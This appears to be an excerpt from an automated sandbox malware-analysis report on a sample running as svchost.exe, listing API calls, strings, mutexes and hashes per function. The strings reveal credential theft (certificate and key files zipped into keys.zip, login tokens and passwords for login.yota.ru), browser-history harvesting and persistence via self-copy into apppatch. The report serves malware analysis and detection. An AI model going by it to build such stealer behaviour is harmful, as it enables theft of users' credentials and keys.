                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$Free$HandleMutexValidate$OpenSleep$CloseInformationReleasememset$AdminAllocBlinkCaretQueryTimeUserValueclosesocket
                                                                                                                                                                                                            • String ID: A3B7F9A2a$Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}$a3b7f923a
                                                                                                                                                                                                            • API String ID: 2871222221-896812464
                                                                                                                                                                                                            • Opcode ID: 81032ce3aef69fd289bef1c94426a49fb3d80e32131e63115c6636076be93e6c
                                                                                                                                                                                                            • Instruction ID: d59df135d20302879be9f4e16c4a7845d9d9d67af4e1be43b3f1d802424434b2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 81032ce3aef69fd289bef1c94426a49fb3d80e32131e63115c6636076be93e6c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F951C474A84311ABF7206F70AC8CF5BBBA9EF41755F544A04F9099A3D0DBB0EC10CAA1
                                                                                                                                                                                                            Function 02D1C350 Relevance: 58.0, APIs: 25, Strings: 8, Instructions: 268fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1C36F
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590552), ref: 02D1C3A7
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1C3E7
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1C3F1
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1C3F9
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1C40A
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1C411
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,crypto), ref: 02D1C423
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,self.cer), ref: 02D1C436
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,self.pub), ref: 02D1C447
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02D1C492
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02D1C49F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorFileLastPath$AdminAttributesBackslashCreateDeleteDirectoryFolderMakeSystemUsermemset
                                                                                                                                                                                                            • String ID: 5C590552$Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}$crypto$keys.zip$path.txt$self.cer$self.pub$\t
                                                                                                                                                                                                            • API String ID: 3980609930-305259209
                                                                                                                                                                                                            • Opcode ID: 6065259e704b968a1fa26d0ee4584f657ac82e81eb0349e377aed73e279debec
                                                                                                                                                                                                            • Instruction ID: 8aaef62c80b3a1a989e934ef31bcd9c48d4ec2cc8ed709210d9dd647597db775
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6065259e704b968a1fa26d0ee4584f657ac82e81eb0349e377aed73e279debec
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 30915434D84258AFEB218F74B858BEE3BE5AF49704F044596E849D7740DB70AD44CBA2
                                                                                                                                                                                                            Function 02D12340 Relevance: 54.6, APIs: 23, Strings: 8, Instructions: 351fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 02D1235C
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02D12367
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,02D12B46,02D12B47), ref: 02D123C3
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02D123CE
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 02D12423
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02D12447
                                                                                                                                                                                                            • SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000002), ref: 02D12461
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$File$BackslashCreateFolder$Pointer
                                                                                                                                                                                                            • String ID: ***************************$ ***************************$) - $A3B7FBD4a$HH:mm:ss$a3b7fb16a$dd:MMM:yyyy$\t
                                                                                                                                                                                                            • API String ID: 1731142794-406877789
                                                                                                                                                                                                            • Opcode ID: 513c050714ada65664f6b6bbdbee177b0ca0ae7264acd94c12ace51641ad29ba
                                                                                                                                                                                                            • Instruction ID: 776ff1098843c0a69498c746854876fefcc7684e7bddd30589e721d96ba50cd6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 513c050714ada65664f6b6bbdbee177b0ca0ae7264acd94c12ace51641ad29ba
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 35B127316443967BDB218F24ACA9BAB7BE5EB85704F104518FEC59B3C0DB72AD09C790
                                                                                                                                                                                                            Function 02D240E0 Relevance: 54.5, APIs: 24, Strings: 7, Instructions: 221stringsynchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D24123
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D24136
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D24149
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D2A0), ref: 02D24177
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D2A0), ref: 02D241AD
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000,?), ref: 02D2420D
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D24217
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D2421F
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D24230
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D24237
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02D24244
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D24277
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D2A0), ref: 02D242A7
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D242E1
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D242EB
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D242F3
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D24304
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D2430B
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02D24318
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF799BF-89ea-4fe1-9A0D-95CD39DC0214},00000000,00000001), ref: 02D2434E
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02D2435F
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D24366
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D24378
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D24389
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$DirectoryErrorLaststrstr$BackslashCreate$AdminCurrentFolderHandleMakeMutexSystemUser$CloseInformationReleaseSleep
                                                                                                                                                                                                            • String ID: IDToken1=$IDToken2=$Local\{EAF799BF-89ea-4fe1-9A0D-95CD39DC0214}$YotaConfirmForm%5Bpassword%5D$login.yota.ru$pass.txt$pass2.txt
                                                                                                                                                                                                            • API String ID: 1263884631-1052718204
                                                                                                                                                                                                            • Opcode ID: 4408a1899ce4efdc077e5f2c5f56ae8aff23c493c8e46ff13a904085445f39b9
                                                                                                                                                                                                            • Instruction ID: e4059bce474ec68096d9053a5789ee7c28b973e94839e7e792ac6d39a93c7c89
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4408a1899ce4efdc077e5f2c5f56ae8aff23c493c8e46ff13a904085445f39b9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D2710334A402256BDB219F74BC687EA7BE9AF61309F548554ECC6D7340DFB09D88CBA0
                                                                                                                                                                                                            Function 02D1E630 Relevance: 54.5, APIs: 26, Strings: 5, Instructions: 220memorysynchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1E64E
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c59043a), ref: 02D1E67A
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1E6BD
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1E6C3
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1E6CB
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1E6DC
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1E6E3
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02D1E71B
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02D1E728
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c59043a,?,?), ref: 02D1E767
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 02D1E7A5
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1E7AC
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1E7B4
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(00000000), ref: 02D1E7C5
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1E7CC
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02D1E806
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02D1E831
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214},00000000,?), ref: 02D1E855
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02D1E866
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D1E86D
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D1E87F
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1E890
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D1E89F
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D1E8A2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D1E8AF
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D1E8B2
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorHeapLastPath$CreateDirectoryFile$AdminAttributesBackslashFolderHandleMakeMutexProcessSystemUser$CloseCurrentDeleteFreeInformationReleaseSleepValidatememset
                                                                                                                                                                                                            • String ID: 5c59043a$Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214}$keys.zip$path.txt$\t
                                                                                                                                                                                                            • API String ID: 1472338570-2240857495
                                                                                                                                                                                                            • Opcode ID: fcc57ca3f5f3146d47f92d692f891e6c75df1d5c7d3de3ddf71dce7964f40bae
                                                                                                                                                                                                            • Instruction ID: cd9d7f0cf8e10ef5ef3f22eb8048e233f57992d2c93f8cc8f294b519ba720235
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fcc57ca3f5f3146d47f92d692f891e6c75df1d5c7d3de3ddf71dce7964f40bae
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C2710F38940355AFEB218F34B868BEA3BE8AF95705F588994ED85C7341DB70DD44CBA0
                                                                                                                                                                                                            Function 02D05AE0 Relevance: 52.8, APIs: 24, Strings: 6, Instructions: 272filememoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?,?,00000000,74E1A250), ref: 02D05B11
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02D05B4D
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02D05B5A
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02D05B79
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000022,00000000,00000000,?), ref: 02D05B99
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,00000001), ref: 02D05C20
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D05C23
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D05C30
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D05C33
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 02D05C48
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,00000001), ref: 02D05CD2
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D05CD5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D05CE2
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D05CE5
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D05D32
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,02D13674,00000000), ref: 02D05D41
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D1365B,02D13674,00000000,00000000), ref: 02D05D56
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,02D13674,00000000), ref: 02D05D63
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D05D7A
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05D8A
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45CF4,00000002,00000000,00000000), ref: 02D05D9E
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05DAC
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D05DD2
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D05DE3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$Heap$Process$Path$FolderFreeHandleLockPointerUnlockValidateWrite$AttributesBackslashCloseCreateDeleteInformation
                                                                                                                                                                                                            • String ID: \History.IE5\index.dat$\Opera\Opera\typed_history.xml$http$http$links.log$\t
                                                                                                                                                                                                            • API String ID: 2678947633-3768590158
                                                                                                                                                                                                            • Opcode ID: 5f7c0368b33179716226988297c0454bcf5407980fdeb51d64126b75084ed7df
                                                                                                                                                                                                            • Instruction ID: 361b8a841a6d6b78234a04419ef9901038e6f56032dcc78e7393e8673dd6d029
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5f7c0368b33179716226988297c0454bcf5407980fdeb51d64126b75084ed7df
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5F91B275940209BBDB209F60ACC9F9B7BA9FB44704F904545EA45AB3D0DB70AE45CFA0
                                                                                                                                                                                                            Function 02D0A8A0 Relevance: 51.0, APIs: 27, Strings: 2, Instructions: 290COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: open$taskmgr
                                                                                                                                                                                                            • API String ID: 0-1543563666
                                                                                                                                                                                                            • Opcode ID: 880194e253a626b8121f8963bfb9e96f5188dcc4eaf73a1f53c2eb8e5e9ebc3f
                                                                                                                                                                                                            • Instruction ID: 664c3c5a370a69ada8dc6d0657ac4618f224f237e0c2d6a3252b3882b1dcce25
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 880194e253a626b8121f8963bfb9e96f5188dcc4eaf73a1f53c2eb8e5e9ebc3f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3991D439E40308EFC710DF64F8C8EAAB7A8EB59326F904555FA45A7390C7719C60CBA0
                                                                                                                                                                                                            Function 004028B0 Relevance: 51.0, APIs: 22, Strings: 7, Instructions: 223memorylibraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(00401F70,?,0000001C,755CDB30,00000000,00000000), ref: 004028EB
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 00402903
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?), ref: 00402924
                                                                                                                                                                                                            • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 0040293C
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0040297D
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040298D
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?), ref: 0040299E
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 004029D6
                                                                                                                                                                                                              • Part of subcall function 00401600: GetTickCount.KERNEL32 ref: 0040160B
                                                                                                                                                                                                              • Part of subcall function 00401600: GetModuleHandleA.KERNEL32(ntdll.dll,?,004029E2,00000000), ref: 0040161C
                                                                                                                                                                                                              • Part of subcall function 00401600: GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 0040162C
                                                                                                                                                                                                              • Part of subcall function 00401920: GetTickCount.KERNEL32 ref: 0040194A
                                                                                                                                                                                                              • Part of subcall function 00401920: GetModuleHandleA.KERNEL32(ntdll.dll,?,004029EE,-00000006,00000000), ref: 00401957
                                                                                                                                                                                                              • Part of subcall function 00401920: GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401963
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 00402A50
                                                                                                                                                                                                            • CopyFileA.KERNEL32(?,?,00000001), ref: 00402A68
                                                                                                                                                                                                            • RtlImageNtHeader.NTDLL(00000000), ref: 00402A9A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402AC5
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00402AC8
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402AD4
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00402AD7
                                                                                                                                                                                                            • MoveFileExA.KERNEL32(?,?,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00402AF6
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402B05
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00402B15
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?), ref: 00402B26
                                                                                                                                                                                                            • GlobalFindAtomA.KERNEL32(Tue Aug 2 12:53:17 20111), ref: 00402B44
                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 00402B55
                                                                                                                                                                                                            • GlobalAddAtomA.KERNEL32(Tue Aug 2 12:53:17 20111), ref: 00402B60
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ModuleProcess$AddressFileHandleHeapProc$CountTick$AtomCurrentGlobal$CopyDirectoryExistsExitFindFreeHeaderImageMoveNamePathQuerySystemValidateVirtualWindows_snprintf
                                                                                                                                                                                                            • String ID: %s_$.exe$IsWow64Process$Tue Aug 2 12:53:17 20111$\apppatch\$kernel32.dll$svchost.exe
                                                                                                                                                                                                            • API String ID: 4049655197-1703505012
                                                                                                                                                                                                            • Opcode ID: 316ab541766f69de20ede4138c7f30c1feb611c6e1e8b9ea983fb4f01bd77043
                                                                                                                                                                                                            • Instruction ID: 7f5ae7708a7b69610b0b59458e4d7764c7ebe7900fbd9078b2849b4018493b30
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 316ab541766f69de20ede4138c7f30c1feb611c6e1e8b9ea983fb4f01bd77043
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6A715EB16043419FC710EF60DE889AB7BE8BB98300F44493EF785B72A1D7789904CB99
                                                                                                                                                                                                            Function 02D1AFC0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 214fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c590506), ref: 02D1B008
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(02D5DEC0,00000000), ref: 02D1B048
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1B04E
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1B056
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(02D5DEC0), ref: 02D1B065
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1B06C
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(02D5DEC0,00000000), ref: 02D1B0A1
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(02D5DEC0), ref: 02D1B0AC
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c590506,00000000,00000001), ref: 02D1B0F6
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashErrorFileLast$AdminAttributesCreateDeleteDirectoryFolderMakeSystemUser
                                                                                                                                                                                                            • String ID: 5c590506$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}$path.txt$\t
                                                                                                                                                                                                            • API String ID: 2920098687-4134113891
                                                                                                                                                                                                            • Opcode ID: 431c0304cb6497fb774e186ea0edbb43c0e7f6f1c791f133e73aecceb6b68cb2
                                                                                                                                                                                                            • Instruction ID: 06a9d49b4f1d0eab90c44586f895f3d636f22944c718a11667f638e5b12ff918
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 431c0304cb6497fb774e186ea0edbb43c0e7f6f1c791f133e73aecceb6b68cb2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FB612534A40655BBEB114F34B868BAB3BD6EF5A749F548542EC86CB740DBA08C48C7A0
                                                                                                                                                                                                            Function 02D17E00 Relevance: 49.4, APIs: 24, Strings: 4, Instructions: 391fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: malloc$free$fclosefopenfreadsprintf$callocfseekrealloc
                                                                                                                                                                                                            • String ID: %s.DBF$%s.dbf$r+b$rb+
                                                                                                                                                                                                            • API String ID: 3942648141-1626032180
                                                                                                                                                                                                            • Opcode ID: ceb619c8fa7899ef27855cc22855de1c515b737fd8da5128151d90fc4595cb69
